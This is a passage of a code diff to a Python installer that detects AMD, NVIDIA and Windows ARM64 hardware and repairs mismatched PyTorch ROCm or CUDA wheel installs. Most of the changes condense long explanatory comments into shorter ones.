- # Keyed on the INTERPRETER, not the machine: an emulated x64 venv installs win_amd64 wheels.
+ # Keyed on the INTERPRETER: an emulated x64 venv installs win_amd64 wheels.
_trio = [_torch_pkg, _vision_pkg, _audio_pkg]
if _is_win_arm64_interpreter() and not _windows_arm64_has_torchaudio():
_trio = [_torch_pkg, _vision_pkg]
_label_before = str(installed_version)
- # --force-reinstall, not install.ps1's uv-only --reinstall-package: pip_install falls
- # back to pip, which has no word for it. constrain=False: constraints.txt resolves
- # against PyPI's torch, which is what put this venv here.
+ # --force-reinstall because pip_install may fall back to pip. constrain=False: constraints.txt
+ # resolves against PyPI's torch, which is what put this venv here.
pip_install(
"PyTorch flavor repair",
"--force-reinstall",
@@ -6057,15 +5654,13 @@ def _ensure_expected_torch_flavor(expected: "str | None" = None) -> bool:
constrain = False,
)
- # The family: a mirror can answer /cu128 with a cached cu124 wheel, and
- # _torch_build_is_gpu is family-blind.
+ # Check the family: a mirror can answer /cu128 with a cached cu124 wheel.
_now = _installed_flavor_tag_now(expected)
if _now == _TORCH_TAG_UNIMPORTABLE:
return _warn_repair_left_torch_unimportable(expected)
if _now == expected:
if _resync_torch_coupled_packages(_label_before):
return True
- # The resync installs --no-deps, but this function's verification is behind us.
_after = _installed_flavor_tag_now(expected)
if _after == _TORCH_TAG_UNIMPORTABLE:
return _warn_repair_left_torch_unimportable(expected)
@@ -6074,7 +5669,6 @@ def _ensure_expected_torch_flavor(expected: "str | None" = None) -> bool:
_safe_print(" [WARN] the post-repair package resync changed the torch build.")
return _warn_wrong_flavor(expected, _after)
if not _now:
- # Ambiguity must not fail an update by itself.
if expected == "cpu":
return True
return True if _torch_build_is_gpu() else _warn_still_cpu(expected)
@@ -6149,7 +5743,6 @@ def _amd_torch_needs_dependency_pass() -> bool:
"""
if NO_TORCH or not IS_LINUX:
return False
- # ROCm wheels are published for Linux x86_64 only.
if platform.machine().lower() not in {"x86_64", "amd64"}:
return False
# install.sh's resolved backend is authoritative, exactly as it is for the repair.
@@ -6159,17 +5752,14 @@ def _amd_torch_needs_dependency_pass() -> bool:
if _explicit_rocm_torch_index_url() is None:
if _explicit_torch_index_family() is not None:
return False
- # The request outranks NVIDIA only where it has somewhere to go, or this answers True
- # forever and setup.sh reruns the dependency pass on every launch for an impossible swap.
+ # Only outrank NVIDIA when there is a route, or setup.sh reruns the pass forever.
if _has_usable_nvidia_gpu() and not (
_rocm_torch_explicitly_requested() and _forced_rocm_route_is_viable()
):
return False
- # A hidden layer either side leaves no target to classify. Same reading the routing
- # guard uses, so the two can never drift.
+ # Same reading as the routing guard, so the two cannot drift.
if _visible_masks_select_no_gpu():
return False
- # Match the repair's two host signals: a visible GPU or an inferred/named arch.
_inferred_gfx = _infer_linux_amd_gfx_arch()
_rocm_visible = _has_rocm_gpu()
if not _rocm_visible and not _inferred_gfx:
@@ -6184,9 +5774,7 @@ def _amd_torch_needs_dependency_pass() -> bool:
)
if _selected_gfx is None:
return False
- # Every arm below is about the wheel. A corroborated spoof is not: the family can be
- # perfect while ROCr presents an ISA those wheels have no code for, and only
- # _ensure_rocm_torch clears the variable (#7331).
+ # A corroborated spoof needs _ensure_rocm_torch even when the wheel family is right.
if _selected_spoof is not None:
return True
_pre_ran, _pre_imp, _pre_ver, _pre_hip, _pre_cuda = _probe_torch_runtime()
@@ -6205,20 +5793,16 @@ def _amd_torch_needs_dependency_pass() -> bool:
_selected_gfx, _detect_rocm_version() or (0, 0), _pre_torch
):
return True
- # The inferred per-arch repair can run without a readable ROCm version.
_inferred_arm = (
bool(_inferred_gfx)
and bool((os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip() or not _rocm_visible)
and _amd_arch_index_url(_inferred_gfx) is not None
)
- # Both per-arch repairs are version-independent, and the host with no readable
- # version is the one they exist for: a bundled-runtime install has no system ROCm
- # to read. Requiring a version here refuses them at the door.
+ # Per-arch repairs need no version: bundled-runtime hosts have no system ROCm to read.
_family_repair_arm = _rocm_torch_family_needs_repair(
_selected_gfx, _detect_rocm_version(), _selected_host
)
if not _inferred_arm and not _family_repair_arm:
- # Other repair arms need a readable version with a published wheel family.
_ver = _detect_rocm_version()
if _ver is None or _generic_pytorch_rocm_tag(_ver) is None:
return False
@@ -6230,28 +5814,18 @@ def _amd_torch_needs_dependency_pass() -> bool:
# The +rocm tag covers builds that omit torch.version.hip.
if not (_hip or "rocm" in _version.lower()):
return True
- # Torch IS a ROCm build, which used to end it. The per-arch repairs act on exactly those
- # hosts, so keeping the fast path makes them unreachable from `studio update`: a swapped
- # card, or the reported gfx1103 on a generic wheel, would be repaired on a fresh install
- # and never again. The pass costs a dependency resolution, not a reinstall, since
- # _ensure_rocm_torch still keeps a family that matches. So ask only what it asks, only
- # where it would act, and not under a pin, which commits to an index regardless.
+ # Already ROCm is not the end: per-arch repairs (swapped card, gfx1103 on generic) must stay
+ # reachable from `studio update`. Ask only what _ensure_rocm_torch asks, and not under a pin.
_pin = _explicit_rocm_torch_index_url()
if _pin is not None:
- # A pin skips the hardware questions, but not its own: _ensure_rocm_torch reinstalls
- # when the installed local tag names a different family than the pin, and returning
- # here unconditionally meant a changed UNSLOTH_TORCH_INDEX_URL never reached it.
+ # A pin still reinstalls when the installed family differs from it.
return _rocm_pin_family_mismatch(_pin, _version.lower())
_tail_gfx, _, _tail_spoof, _tail_host = _runtime_gfx_target(_infer_linux_amd_gfx_arch())
_tail_ver = _detect_rocm_version() or (0, 0)
- # A corroborated HSA spoof is cleared by _ensure_rocm_torch and only by it: the family can
- # match perfectly while ROCr presents an ISA the wheels have no code for (#7331), so the
- # wheel question alone keeps the fast path and the variable stays set.
+ # Only _ensure_rocm_torch clears a corroborated HSA spoof, even when the family matches.
if _tail_spoof is not None:
return True
- # The two compatibility reroutes are repairs like any other, and asking only the
- # missing-kernel question skipped both on update: Strix on a generic wheel below the AMD
- # floor still needs the 7.13 fixes, and a sole gfx906 above rocm6.3 has no BLAS kernels.
+ # Strix below the AMD floor and gfx906 above rocm6.3 also need the pass on update.
if _rocm_compat_reroute_pending(_tail_gfx, _tail_ver, _version.lower()):
return True
# The generic bitsandbytes wheel is built for the rocm6.4 ABI. An automatic host therefore
@@ -6275,8 +5849,7 @@ def _already_on_amd_arch_leaf(leaf: "str | None", installed_ver: str) -> bool:
return False
_family = _installed_rocm_wheel_family() if _torch_requires_rocm_sdk() else None
if _family is not None:
- # A family that reads back is the answer, whichever way it points: an AMD build for
- # ANOTHER arch sits at the same floor tag and carries none of this one's kernels.
+ # A per-arch build for another arch sits at the same tag with none of this one's kernels.
return _family == (leaf or "").lower()
_tag = re.search(r"\+rocm(\d+)\.(\d+)", installed_ver or "")
return bool(_tag) and (int(_tag.group(1)), int(_tag.group(2))) >= _ROCM_ARCH_INDEX_FLOOR
@@ -6361,30 +5934,18 @@ def _rocm_torch_family_needs_repair(
if _family is not None:
_leaf = (_GFX_TO_AMD_INDEX_ARCH.get(runtime_gfx or "") or "").lower()
if _family != _leaf:
- # Only when some index can serve the target ON THIS HOST: a gfx1010, or a
- # mask-selected gfx906 beside another card, has a real mismatch and nowhere to go.
- # _ensure_rocm_torch declines on the same question, and promising a repair it
- # refuses buys a dependency pass on EVERY update and never a working torch.
+ # Only when some index can serve the target on this host, matching _ensure_rocm_torch's decline.
return _gfx_route_on_host(runtime_gfx, host_codes)
- # The right SHAPE, not necessarily a working build: below the 2.11 floor these leaves
- # carry the _grouped_mm bug, and answering False on a 2.10 build would keep the fast
- # path and leave it in place on every update.
+ # Below the 2.11 floor these leaves carry the _grouped_mm bug, so the shape alone is not enough.
_ran, _importable, _ver, _hip, _cuda = _probe_torch_runtime()
return _leaf in _ROCM_GFX_TORCH211_LEAVES and _torch_below_211(
(_ver or "").lower() if (_ran and _importable) else ""
)
if _owns_sdk:
- # A per-arch install whose family will not read back. _ensure_rocm_torch cannot skip
- # on a family it never read, so it would reinstall the stack on EVERY update once the
- # fast path stops hiding it. Leave it alone.
- return False
- # Which arches a generic wheel carries belongs to THAT wheel, so read the tag off the
- # installed torch when it states one; ``ver`` is the HOST's, and the two part company (pin
- # rocm6.3 once, or upgrade /opt/rocm, and a gfx1200 box on 2.9.1+rocm6.3 looks healthy
- # forever). Both readings of "no code for this card" are needed: the reroute question, and
- # the tag floor for a target with no index to be rerouted TO. Asking only the first kept
- # the fast path on a gfx950 on rocm6.3, so the install path's floor was never reached from
- # `studio update` -- repaired once on a fresh install and never again.
+ # Family unreadable: _ensure_rocm_torch would reinstall every update, so leave it.
+ return False
+ # Use the installed wheel's own tag; ``ver`` is the host's and they can diverge. Check both the
+ # reroute question and the tag floor (gfx950 on rocm6.3).
_installed_tag = _installed_generic_rocm_tag() or ver
return _generic_rocm_wheel_lacks_kernels(
runtime_gfx, _installed_tag
@@ -6431,8 +5992,7 @@ def _ensure_rocm_torch() -> "bool | None":
aborts.
"""
global _rocm_windows_torch_installed
- # install.sh's resolved backend is authoritative: skip ROCm when it already chose a
- # non-ROCm family (avoids re-detecting in a subprocess that may see a different env).
+ # install.sh's resolved backend is authoritative; avoids re-detecting in a different env.
if _TORCH_BACKEND in ("cuda", "cpu", "xpu"):
return
# An explicit unknown-family pin was applied VERBATIM at install time; leave it alone.
@@ -6459,8 +6019,7 @@ def _ensure_rocm_torch() -> "bool | None":
)
if _torch_ok:
_rocm_windows_torch_installed = True
- # ROCm torch is already installed, but bnb still needs the ROCm build
- # (pre-release wheel, else PyPI >=0.50.0).
+ # bnb still needs the ROCm build (pre-release wheel, else PyPI >=0.50.0).
_install_bnb_windows_rocm()
return
if IS_MACOS:
@@ -6469,24 +6028,19 @@ def _ensure_rocm_torch() -> "bool | None":
if IS_WINDOWS:
# An explicit ROCm pin overrides the per-arch index: retry the PINNED one, not repo.amd.com.
_win_rocm_pin = _explicit_rocm_torch_index_url()
- # UNSLOTH_FORCE_ROCM_TORCH is deliberately NOT read here: install.ps1 picks CUDA from the
- # NVIDIA probe and setup.ps1 republishes a tag _ensure_expected_torch_flavor() restores, so
- # honouring it only here is a multi-GB round trip. Windows needs both PowerShell installers.
+ # UNSLOTH_FORCE_ROCM_TORCH is deliberately not read: install.ps1 / setup.ps1 would restore CUDA,
+ # making this a multi-GB round trip.
if _win_rocm_pin is None and _has_usable_nvidia_gpu():
return
gfx_arch = _detect_windows_gfx_arch()
if not gfx_arch and _win_rocm_pin is None:
return # no AMD GPU visible via hipinfo
- # Whether torch already links against HIP.
_ran, _importable, _version, _hip, _cuda = _probe_torch_runtime()
_torch_already_rocm = (
_ran and _importable and (bool(_hip) or "rocm" in (_version or "").lower())
)
- # "Is ROCm" is not "is the RIGHT ROCm": wheels are per-family, so a host whose arch
- # now resolves elsewhere (dGPU added, or the #7776 repick) would keep the old family
- # forever. setup.ps1 force-reinstalls every run, so this only bites standalone
- # `studio update`. Act only on a family read back positively, never on a guess.
- # A per-family build has no kernels for a multi-arch card: its device pack decides.
+ # Wheels are per family, so a host whose arch now resolves elsewhere must be repaired; act only on
+ # a family read back positively. Multi-arch cards are decided by their device pack.
if (
_torch_already_rocm
and _win_rocm_pin is None
@@ -6544,9 +6098,7 @@ def _ensure_rocm_torch() -> "bool | None":
f" {(gfx_arch or '').split(':')[0].lower()}: AMD's multi-arch index, pinned to "
f"{_ROCM_MULTIARCH_TORCH_VERSION}+{_ROCM_MULTIARCH_TAG} (torch, torchvision, torchaudio)"
)
- # Nonfatal: a transient AMD-index failure must not abort the install.
- # --force-reinstall resolves before uninstalling, so a failed index keeps the
- # existing build intact; let the user retry.
+ # Nonfatal: --force-reinstall resolves before uninstalling, so a failed index keeps the build.
if not pip_install_try(
f"ROCm torch (Windows, {gfx_arch or 'pinned'})",
"--force-reinstall",
@@ -6563,8 +6115,7 @@ def _ensure_rocm_torch() -> "bool | None":
return
# Flag ROCm torch installed so later phases keep it; a BNB failure must not roll it back.
_rocm_windows_torch_installed = True
- # Always install AMD Windows bitsandbytes, even when torch was already a
- # ROCm build, so `studio update` repairs a broken bnb.
+ # Always reinstall AMD Windows bnb so `studio update` repairs a broken one.
if not _install_bnb_windows_rocm():
_safe_print(
" Warning: AMD Windows bitsandbytes install failed "
@@ -6574,16 +6125,14 @@ def _ensure_rocm_torch() -> "bool | None":
return
# ── Linux x86_64 only: PyTorch ROCm wheels are not published for aarch64 ──
+ # PyTorch ROCm wheels are not published for aarch64.
if platform.machine().lower() not in {"x86_64", "amd64"}:
return
# An explicit ROCm pin commits to ROCm wheels whatever the visible GPU (headless / CI).
_rocm_pin = _explicit_rocm_torch_index_url()
_rocm_pinned = _rocm_pin is not None or _rocm_pin_unusable
- # Before ANY install path, including the inferred-arch one below: that takes a declared
- # UNSLOTH_ROCM_GFX_ARCH first, so a stale gfx1030 on a real Van Gogh force-installed the
- # multi-GB gfx103X-all stack, skipped the runtime-target check, then had
- # _ensure_cpu_torch() undo it: a ROCm-to-CPU cycle on every update. An explicit index
- # pin still wins.
+ # Before any install path: a stale UNSLOTH_ROCM_GFX_ARCH on a real Van Gogh would otherwise cycle
+ # ROCm -> CPU every update. An explicit index pin still wins.
if not _rocm_pinned and not IS_WINDOWS and _miscomputing_arch_host():
_safe_print(
" This host has an AMD arch measured to compute incorrectly under ROCm "
@@ -6594,22 +6143,17 @@ def _ensure_rocm_torch() -> "bool | None":
_infer_linux_amd_gfx_arch() if (not _rocm_pinned and not IS_WINDOWS) else None
)
if not _rocm_pinned:
- # NVIDIA takes precedence unless this run asked for ROCm. The request relaxes which vendor
- # wins, not whether there is a card, so the presence test below still has to pass; a pin of
- # another known family outranks it.
+ # NVIDIA wins unless this run asked for ROCm; the presence test still applies.
if _has_usable_nvidia_gpu() and (
not _rocm_torch_explicitly_requested()
or _explicit_cuda_torch_index_url() is not None
or _explicit_cpu_torch_index_url() is not None
):
return
- # _has_rocm_gpu() (rocminfo / amd-smi rows) is the authoritative AMD-host signal;
- # the old /opt/rocm-or-hipcc gate broke runtime-only ROCm installs.
+ # rocminfo / amd-smi rows are authoritative; /opt/rocm or hipcc misses runtime-only installs.
if not _has_rocm_gpu() and not _inferred_linux_gfx:
return # no AMD GPU visible
- # The request skipped the NVIDIA return, and _infer_linux_amd_gfx_arch() takes
- # UNSLOTH_ROCM_GFX_ARCH before hardware, so a stale one satisfies the line above with no
- # AMD card. Same viable ROUTE bar _ensure_cuda_torch stands down on.
+ # A stale UNSLOTH_ROCM_GFX_ARCH can pass the line above with no AMD card; require a viable route.
if (
_rocm_torch_explicitly_requested()
and _has_usable_nvidia_gpu()
@@ -6619,36 +6163,23 @@ def _ensure_rocm_torch() -> "bool | None":
ver = _detect_rocm_version()
if ver is None:
- # A host running the wheels' own bundled ROCm has no system version to read, and is
- # the same host the missing-kernel route exists for. That route has no version floor,
- # so returning here on an arch the generic wheel cannot serve refuses the repair at
- # the door. The second target resolution is confined to this branch.
+ # Bundled-runtime hosts have no version to read but still need the missing-kernel route.
_unknown_ver_gfx, _, _, _unknown_ver_host = _runtime_gfx_target(None)
_uv_ran, _uv_imp, _uv_ver, _uv_hip, _uv_cuda = _probe_torch_runtime()
_unknown_ver_torch = (_uv_ver or "").lower() if (_uv_ran and _uv_imp) else ""
- # A per-arch install can also outlive the GPU it was made for: swap a gfx1200 card
- # into a box on gfx110X-all wheels and the generic index would serve it, so the clause
- # above lets the exit stand while those wheels carry no gfx1200 kernels. A matching
- # family below its 2.11 floor is the same story. This is the reading the setup
- # preflight uses, so anything narrower lets the pass run and then declines it.
+ # A per-arch install can outlive its GPU; same reading as the setup preflight.
if (
not _rocm_pinned
and not _inferred_linux_gfx
and not _generic_rocm_wheel_lacks_kernels(_unknown_ver_gfx)
and not _rocm_torch_family_needs_repair(_unknown_ver_gfx, None, _unknown_ver_host)
- # The Strix reroute has no version floor to fail: with no tag resolving, the
- # per-arch index is the only route these arches have, and exiting here left a
- # visible Strix host on whatever non-ROCm torch it already had.
+ # The Strix reroute has no version floor; with no tag the per-arch index is its only route.
and not _rocm_compat_reroute_pending(_unknown_ver_gfx, (0, 0), _unknown_ver_torch)
):
_safe_print(" ROCm detected but version unreadable -- skipping torch reinstall")
return
- # Explicit pin or inferred gfx: the index drives the install.
ver = (0, 0)
- # Whether torch links against HIP, capturing the installed ROCm tag for pin-mismatch
- # detection. Marker is the HIP version, else a "rocm" sentinel when only the version
- # string flags ROCm; empty = CPU/CUDA torch, or un-probeable, which reinstalls.
_ran, _importable, _version, _hip, _cuda = _probe_torch_runtime()
_installed_torch_ver = (_version or "").lower() if (_ran and _importable) else ""
_hip_marker = ""
@@ -6665,13 +6196,8 @@ def _ensure_rocm_torch() -> "bool | None":
rocm_torch_ready = has_hip_torch and not _rocm_pin_mismatch
- # Inferred-gfx path: ROCm runtime missing but install.sh would route to AMD wheels.
- # Gated on the runtime NOT enumerating a GPU: when it can, the runtime-visible
- # arch (Strix override / generic below) decides, not cpuinfo -- a mixed Strix
- # APU + dGPU box with HIP_VISIBLE_DEVICES on the dGPU must not get APU wheels.
- # An explicit UNSLOTH_ROCM_GFX_ARCH is exempt from that runtime gate (mirrors
- # install.sh): a visible GPU with an unreadable/unsupported ROCm version must
- # not silently discard the user's named arch and leave CPU torch in place.
+ # Inferred-gfx path: only when the runtime enumerates no GPU, so a mixed Strix APU + dGPU box does
+ # not get APU wheels. An explicit UNSLOTH_ROCM_GFX_ARCH is exempt (mirrors install.sh).
_gfx_override_env = (os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip().lower()
_inferred_arch_installed = False
if (
@@ -6708,15 +6234,9 @@ def _ensure_rocm_torch() -> "bool | None":
_inferred_linux_gfx = _inferred_target
index_url = _amd_arch_index_url(_inferred_linux_gfx)
if index_url is not None:
- # The bare arch _amd_arch_index_url resolved the URL from: stripping the suffix there is
- # what OPENS this branch for "gfx1151:xnack-", and a table keyed on the raw string then
- # misses and installs unpinned torch, losing this dict's ABI bound. _hsa_spoof_contradicts
- # likewise reads a same-card HSA override as a spoof unless asked in bare form.
+ # Use the bare arch: the suffixed form misses the specs table and _hsa_spoof_contradicts.
_bare_gfx = (_inferred_linux_gfx or "").strip().lower().split(":")[0]
- # Falling back UNBOUNDED was the rest of that same defect: a suffixed arch reaching this
- # branch for the first time skipped the bounds the reroute applies to every other
- # arch-index install, so the newly opened route installed a companion set nothing
- # constrained. Same tuple that path uses, so the two cannot drift.
+ # Same bounded companion tuple as the reroute path, so the two cannot drift.
_torch_pkg, _vision_pkg, _audio_pkg = _WINDOWS_ROCM_TORCH_PKG_SPECS.get(
_bare_gfx, _ROCM_ARCH_INDEX_TORCH_PKG_SPEC
)
@@ -6739,26 +6259,17 @@ def _ensure_rocm_torch() -> "bool | None":
)
rocm_torch_ready = True
_inferred_arch_installed = True
- # The same reconciliation the reroutes below make: these wheels carry
- # _inferred_linux_gfx code objects alone, and a spoof naming another arch has ROCr
- # hand them a device none of it matches (#7331). The install is already committed
- # to that arch, so declining here only guarantees it is unusable.
+ # The wheels carry only _inferred_linux_gfx code, so clear a spoof naming another arch.
if _hsa_spoof_contradicts(_bare_gfx):
_clear_confirmed_hsa_spoof(_bare_gfx)
- # An explicit UNSLOTH_ROCM_GFX_ARCH=gfx906 pins the runtime target to the
- # MI50 / Radeon VII path; it must win over the Strix probe-order detection
- # below (a mixed Strix + MI50 host could otherwise route to gfx1151), so the
- # Strix override is skipped when it is set.
+ # UNSLOTH_ROCM_GFX_ARCH=gfx906 must beat the Strix probe-order detection below.
_gfx906_arch_override = (os.environ.get("UNSLOTH_ROCM_GFX_ARCH") or "").strip().lower().split(
":"
)[0] == "gfx906"
- # Where the two AMD per-gfx reroutes below deposit their choice. Strix Halo / Point
- # (gfx1151 / gfx1150) need AMD's per-gfx index (2.11+rocm7.13) because every generic
- # pytorch.org index lacks the fixes (ROCm 7.1 segfaults in _grouped_mm); see
- # _strix_needs_amd_arch_index for that floor. The second reroute has no floor and fires
- # for an arch the generic wheel carries no kernels for at all.
+ # Strix (gfx1150/1151) needs AMD's per-gfx index (2.11+rocm7.13): generic wheels segfault in
+ # _grouped_mm, see _strix_needs_amd_arch_index. The second reroute is for arches with no kernels.
_arch_index_url: "str | None" = None
_arch_index_pkgs: "tuple[str, str, str] | None" = None
_runtime_gfx: "str | None" = None
@@ -6769,15 +6280,9 @@ def _ensure_rocm_torch() -> "bool | None":
_runtime_gfx, gfx_codes, _physical_gfx, _host_codes = _runtime_gfx_target(
_inferred_linux_gfx
)
- # A miscomputing target has no ROCm route, so the rest of this function is skipped:
- # _amd_arch_index_url returns None for such an arch and the reroute below would either
- # raise on it or fall through to generic pytorch.org wheels. A standalone
- # `studio update` reads no backend and reaches here with nothing else to stop it.
- # Keyed on the SELECTED target, which install.sh's presence gate cannot see.
+ # A miscomputing target has no ROCm route; keyed on the SELECTED target.
if _runtime_gfx in _ROCM_MISCOMPUTING_GFX:
- # Declines to INSTALL ROCm for this target only; removing an existing ROCm build
- # is _ensure_cpu_torch's call, and that asks about the whole host with masks
- # stripped (test_a_mask_cannot_shrink_the_host_to_its_bad_gpu).
+ # Only declines to install; removing existing ROCm is _ensure_cpu_torch's whole-host call.
_safe_print(
f" {_runtime_gfx} computes incorrect results under ROCm "
f"(studio/ROCM_RDNA2_APU.md) -- not installing ROCm torch for it.\n"
@@ -6801,9 +6306,7 @@ def _ensure_rocm_torch() -> "bool | None":
if _runtime_gfx in _strix_gfx and _already_on_amd_arch_leaf(
_GFX_TO_AMD_INDEX_ARCH.get(_runtime_gfx), _installed_torch_ver
):
- # Already the build this branch would fetch. It force-reinstalls a multi-GB
- # stack and _ensure_rocm_torch runs twice per install, so acting on the arch
- # alone re-downloads it on every install and every later update.
+ # Already this build: _ensure_rocm_torch runs twice per install, so do not re-download.
_safe_print(
f" torch already runs on the AMD {_runtime_gfx} wheels; keeping it.\n"
)
@@ -6811,8 +6314,6 @@ def _ensure_rocm_torch() -> "bool | None":
_clear_confirmed_hsa_spoof(_runtime_gfx)
elif _runtime_gfx in _strix_gfx:
_selected_gfx = _runtime_gfx
- # One owner for the mirror env var and the arch-to-leaf map, shared with
- # the inferred-arch install above and the missing-kernel route below.
_arch_index_url = _amd_arch_index_url(_selected_gfx)
_arch_index_pkgs = (
"torch>=2.11.0,<2.12.0",
@@ -6827,10 +6328,8 @@ def _ensure_rocm_torch() -> "bool | None":
f" 2.11.0+rocm7.13.0 with AMD's fixes for this GPU (the generic pytorch.org\n"
f" wheels below 7.13 lack them).\n"
)
- # Only on this branch: these wheels carry _selected_gfx kernels, so
- # the runtime must stop reporting the spoofed arch or they have no
- # code for the device (#7331). Never on the paths that keep generic
- # wheels, where the override is the only source of usable kernels.
+ # Only here: these wheels carry _selected_gfx kernels, so the spoof must be cleared. Generic paths
+ # keep the override as their only source of usable kernels.
if _physical_gfx is not None:
_clear_confirmed_hsa_spoof(_selected_gfx)
else:
@@ -6845,24 +6344,16 @@ def _ensure_rocm_torch() -> "bool | None":
f" skipping AMD per-gfx index override.\n"
)
- # If the generic wheel lacks the runtime target, replace it from AMD's per-arch index.
- # No ROCm-version floor here: whichever generic index a host's ROCm version picks,
- # its wheel carries no kernels for these targets (see _GENERIC_ROCM_WHEEL_GFX).
+ # No ROCm-version floor: no generic wheel carries kernels for these (see _GENERIC_ROCM_WHEEL_GFX).
if _arch_index_url is None:
- # Judged by the installed wheel when it is a generic build naming its own tag,
- # since ``ver`` is the HOST's. ``ver`` still chooses the tag for a reinstall
- # below, which IS a question about the host.
+ # Judge by the installed generic wheel's own tag; ``ver`` (the host's) still picks a reinstall tag.
_kernel_ver = (
has_hip_torch and not _torch_requires_rocm_sdk() and _installed_generic_rocm_tag()
) or ver
_missing_kernels = {
g for g in gfx_codes if _generic_rocm_wheel_lacks_kernels(g, _kernel_ver)
}
- # A sub-2.11 build of a floor leaf is broken wherever it came from, and several of
- # those leaves (gfx120X-all, and gfx1150/gfx1151 when an unreadable ROCm version
- # leaves the Strix arm inactive) serve GPUs the generic wheel DOES list. Gating
- # the floor on missing generic kernels never reaches them, so the preflight forces
- # a pass this block declines. The floor belongs to the family, not to the visit.
+ # A sub-2.11 build of a floor leaf is broken even when the generic wheel lists the GPU.
_runtime_leaf = _GFX_TO_AMD_INDEX_ARCH.get(_runtime_gfx or "")
_below_floor_on_leaf = (
_runtime_leaf is not None
@@ -6881,16 +6372,8 @@ def _ensure_rocm_torch() -> "bool | None":
)
else None
)
- # Already running on this family's wheels. The reroute below is a
- # --force-reinstall --no-cache-dir of the multi-GB stack and _ensure_rocm_torch
- # runs twice per install, so a leaf derived from hardware alone re-downloads
- # it twice per install and again on every update. Act only on a family read
- # back positively: an unknowable one is None here and reinstalls, as does a
- # CPU/CUDA torch, and _torch_requires_rocm_sdk rejects a stale `rocm` orphan.
- # The right SHAPE is not a working build -- on these leaves a sub-2.11 wheel
- # carries the _grouped_mm bug, and skipping on family alone preserves it
- # forever. An unreadable ROCm version routes gfx1152 here rather than through
- # the Strix branch, so this is the only floor it meets.
+ # Skip the multi-GB reinstall when already on this family (read back positively) at or above the
+ # 2.11 floor. gfx1152 with an unreadable ROCm version only meets this floor here.
_already_on_leaf = (
_leaf is not None
and has_hip_torch
@@ -6906,18 +6389,12 @@ def _ensure_rocm_torch() -> "bool | None":
f" torch already runs on the {_leaf} wheels {_runtime_gfx} needs; "
f"keeping it.\n"
)
- # Keeping the wheels is not keeping the status quo: they carry the
- # PHYSICAL arch alone, so a spoof left set has the runtime keep reporting
- # the one arch they have no code for (#7331). The skip needs the clear as
- # much as the reinstall arm does.
+ # Keeping the wheels still needs the spoof cleared: they carry only the physical arch.
if _physical_gfx is not None:
_clear_confirmed_hsa_spoof(_runtime_gfx)
elif _leaf is not None:
_arch_index_url = _amd_arch_index_url(_runtime_gfx)
- # Keep older per-arch builds valid while bounding companion versions,
- # except on the leaves whose sub-2.11 builds carry the _grouped_mm bug.
- # gfx1152 reaches this branch rather than the Strix one when an unreadable
- # ROCm version reads as 0.0, below the Strix floor.
+ # Bound companions but keep older per-arch builds, except on _grouped_mm-bug leaves.
_arch_index_pkgs = (
_ROCM_TORCH_PKG_SPECS["rocm7.2"]
if _leaf.lower() in _ROCM_GFX_TORCH211_LEAVES
@@ -6930,7 +6407,6 @@ def _ensure_rocm_torch() -> "bool | None":
f" index, which does:\n"
f" {_strip_index_url_credentials(_arch_index_url)}\n"
)
- # Let the runtime report the native target carried by these wheels.
if _physical_gfx is not None:
_clear_confirmed_hsa_spoof(_runtime_gfx)
else:
@@ -6946,28 +6422,15 @@ def _ensure_rocm_torch() -> "bool | None":
and _torch_requires_rocm_sdk()
and _installed_rocm_wheel_family() == _runtime_leaf.lower()
):
- # Nothing to reroute -- the installed per-arch wheels are the target's own
- # family, which is why neither condition above fires. The spoof is still
- # exported and these wheels carry the PHYSICAL arch alone, so the runtime
- # keeps asking them for code they do not have (#7331). Every arm that KEEPS
- # matching wheels clears it; this one kept them and reached no arm at all.
- # Judged on a family read back from a torch that owns it, never the target.
+ # Already on the target's own family, yet a spoof may still be exported; clear it here too.
_clear_confirmed_hsa_spoof(_runtime_gfx)
- # A per-arch install can outlive the GPU it was made for: add a dGPU, or point
- # HIP_VISIBLE_DEVICES at one, and the target moves to an arch those wheels carry no
- # kernels for. torch.version.hip still reads ROCm, so rocm_torch_ready would stop the
- # generic fallback and the wrong family would survive every update. Same repick
- # _detect_windows_gfx_arch's caller does for #7776, on a family read back positively.
+ # A per-arch install can outlive its GPU, and torch.version.hip would keep the fallback away.
if _arch_index_url is None and rocm_torch_ready and _runtime_gfx is not None:
_have = _installed_rocm_wheel_family() if _torch_requires_rocm_sdk() else None
_want = (_GFX_TO_AMD_INDEX_ARCH.get(_runtime_gfx) or "").lower()
- # A target no index can serve (gfx1010 / RDNA 1) has an empty _want, which reads
- # as "every family is wrong" and spends a multi-GB reinstall on a wheel that
- # cannot carry kernels for it either. Demote only when there is somewhere to go,
- # and ask that of THIS host: gfx906's only route is the rocm6.3 tag, unlocked
- # solely when it is the one detected arch, so demoting a mask-selected MI50 beside
- # another card downloads a second unusable torch (_MIXED_HOST_UNROUTABLE).
+ # Demote only when this host has somewhere to go: gfx1010 has no index, and a mask-selected gfx906
+ # beside another card has no route (_MIXED_HOST_UNROUTABLE).
if (
_have is not None
and _have != _want
@@ -6978,10 +6441,7 @@ def _ensure_rocm_torch() -> "bool | None":
f" {_runtime_gfx} kernels -- reinstalling for this GPU.\n"
)
rocm_torch_ready = False
- # Demoting alone hands the job to the generic fallback, which resolves NO tag
- # when the ROCm version is unreadable, as it is on a bundled-runtime host: the
- # branch would announce the reinstall, install nothing, and keep the family it
- # just called incompatible. The AMD index needs no host version, so use it.
+ # With an unreadable ROCm version the generic fallback resolves no tag, so use the AMD index.
_tag = _generic_pytorch_rocm_tag(ver)
if _want:
if _tag is None:
@@ -6995,32 +6455,20 @@ def _ensure_rocm_torch() -> "bool | None":
elif _runtime_gfx in _GENERIC_ROCM_WHEEL_GFX and (
_tag is None or _generic_tag_lacks_kernels(_runtime_gfx, ver)
):
- # The replacement GPU has no AMD per-arch index at all: gfx942, gfx950 and
- # the other datacentre parts live only on the generic one. With no
- # readable host version there is no tag either, so the branch would leave
- # the stale per-arch wheels in place. A tag that RESOLVES can be as
- # useless, a stale /opt/rocm putting gfx950 on rocm6.3. Both take the
- # newest generic index this installer knows, which does carry the target.
+ # Datacentre parts (gfx942, gfx950) live only on the generic index; with no tag or a too-old one,
+ # take the newest generic index known.
ver = max(_ROCM_TORCH_INDEX)
elif _have is None and _generic_only_target_below_floor(
_runtime_gfx, _installed_generic_rocm_tag() or ver
):
- # A GENERIC build whose own tag predates the target: no family to compare and
- # no per-arch index to move to, so both arms above decline and
- # torch.version.hip keeps the fallback from running. A gfx950 pinned to
- # rocm6.3 once stays on a wheel with no kernels for it through every update.
